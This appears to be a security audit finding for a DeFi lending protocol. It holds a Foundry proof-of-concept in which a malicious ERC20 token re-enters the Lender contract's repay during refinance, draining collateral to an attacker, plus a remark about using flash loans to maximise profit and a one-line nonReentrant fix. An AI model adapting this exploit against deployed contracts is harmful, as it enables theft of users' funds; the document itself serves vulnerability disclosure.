For draining the protocol, you can just do everything using flashloan to maximize profit.
contract MaliciousERC20 is ERC20 {
uint loanId;
Lender public lender;
uint256 counter;
TERC20 collateral;
address attacker;
constructor(address _lender, address _collateral, address _attacker) public
{
lender = Lender(_lender);
collateral = TERC20(_collateral);
attacker = _attacker;
}
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
function transfer(address _to, uint256 _amount) public override returns (bool) {
if (counter == 2)
{
mint(address(this), 100*10**18);
_approve(address(this), address(lender), 1000000000000*10**18);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.repay(loanIds);
collateral.transfer(attacker, collateral.balanceOf(address(this)));
}
counter += 1;
return true;
}
}
address public attacker = address(0x5);
MaliciousERC20 public maliciousLoanToken;
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
maliciousLoanToken = new MaliciousERC20(address(lender), address(collateralToken), address(attacker));
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
maliciousLoanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
maliciousLoanToken.approve(address(lender), 1000000*10**18);
}
function test_Reentrancy() public {
collateralToken.transfer(address(lender), 100*10**18);
vm.startPrank(attacker);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
uint256 attackerCollateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
Pool memory attackerPoolUpdate = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 999999999999999*100**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 100*10**18
});
lender.setPool(attackerPoolUpdate);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(attacker),
address(maliciousLoanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 1
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
maliciousLoanToken.approve(address(lender), 1000000*10**18);
lender.refinance(rs);
uint256 attackerCollateralTokenBalanceAfter = collateralToken.balanceOf(attacker);
assertGt(attackerCollateralTokenBalanceAfter, attackerCollateralTokenBalanceBefore);
assertEq(attackerCollateralTokenBalanceAfter, 99999999999999999999999);
}
Add nonReentrant modifier to all of the functions.